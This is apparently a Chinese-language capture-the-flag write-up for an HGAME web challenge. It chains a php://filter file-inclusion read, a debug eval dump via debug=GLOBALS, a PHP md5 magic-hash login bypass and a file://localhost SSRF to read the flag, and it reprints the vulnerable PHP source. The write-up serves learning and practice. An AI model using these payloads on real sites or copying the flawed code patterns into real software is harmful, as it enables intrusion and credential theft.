cosmos的博客后台

太艰难了 自己还是太菜了
首先打开环境 hint是flag在根目录下
所以尝试一下本地文件包含 但是发现Hacker get out!

再尝试一下用伪协议去读login.php

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http://cosmos-admin.hgame.day-day.work/index.php?action=php://filter/read=convert.base64-encode/resource=login.php

再用base64转义一下 得到源码
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<?php
include "config.php";
session_start();

//Only for debug
if (DEBUG_MODE){
    if(isset($_GET['debug'])) {
        $debug = $_GET['debug'];
        if (!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $debug)) {
            die("args error!");
        }
        eval("var_dump($$debug);");
    }
}

if(isset($_SESSION['username'])) {
    header("Location: admin.php");
    exit();
}
else {
    if (isset($_POST['username']) && isset($_POST['password'])) {
        if ($admin_password == md5($_POST['password']) && $_POST['username'] === $admin_username){
            $_SESSION['username'] = $_POST['username'];
            header("Location: admin.php");
            exit();
        }
        else {
            echo "用户名或密码错误";
        }
    }
}
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">
    <title>Cosmos的博客后台</title>
    <link href="static/signin.css" rel="stylesheet">
    <link href="static/sticky-footer.css" rel="stylesheet">
    <link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
</head>

<body>

<div class="container">
    <form class="form-signin" method="post" action="login.php">
        <h2 class="form-signin-heading">后台登陆</h2>
        <input type="text" name="username" class="form-control" placeholder="用户名" required autofocus>
        <input type="password" name="password" class="form-control" placeholder="密码" required>
        <input class="btn btn-lg btn-primary btn-block" type="submit" value="Submit">
    </form>
</div>
<footer class="footer">
	<center>
	<div class="container">
        <p class="text-muted">Created by Annevi</p>
      </div>
      </center>
</footer>
</body>
</html>

关键代码：
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//Only for debug
if (DEBUG_MODE){
    if(isset($_GET['debug'])) {
        $debug = $_GET['debug'];
        if (!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $debug)) {
            die("args error!");
        }
        eval("var_dump($$debug);");
    }
}

构造payload：
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http://cosmos-admin.hgame.day-day.work/login.php?debug=GLOBALS

使用GLOBALS显示全局变量
得到账号：Cosmos!
密码由于采用了!== 又是md5 而且是0exxxxx格式 所以利用PHP中md5的漏洞
https://blog.csdn.net/qq_19980431/article/details/83018232

随便用一个：QNKCDZO
成功登录到后台之后

再利用伪协议读取一下admin.php

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function insert_img() {
    if (isset($_POST['img_url'])) {
        $img_url = @$_POST['img_url'];
        $url_array = parse_url($img_url);
        if (@$url_array['host'] !== "localhost" && $url_array['host'] !== "timgsa.baidu.com") {
            return false;
        }   
        $c = curl_init();
        curl_setopt($c, CURLOPT_URL, $img_url);
        curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
        $res = curl_exec($c);
        curl_close($c);
        $avatar = base64_encode($res);

        if(filter_var($img_url, FILTER_VALIDATE_URL)) {
            return $avatar;
        }
    }
    else {
        return base64_encode(file_get_contents("static/logo.png"));
    }
}

关键代码 利用SSRF构造payload

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file://localhost/flag

复制图片的地址 解码后面的base64

得到flag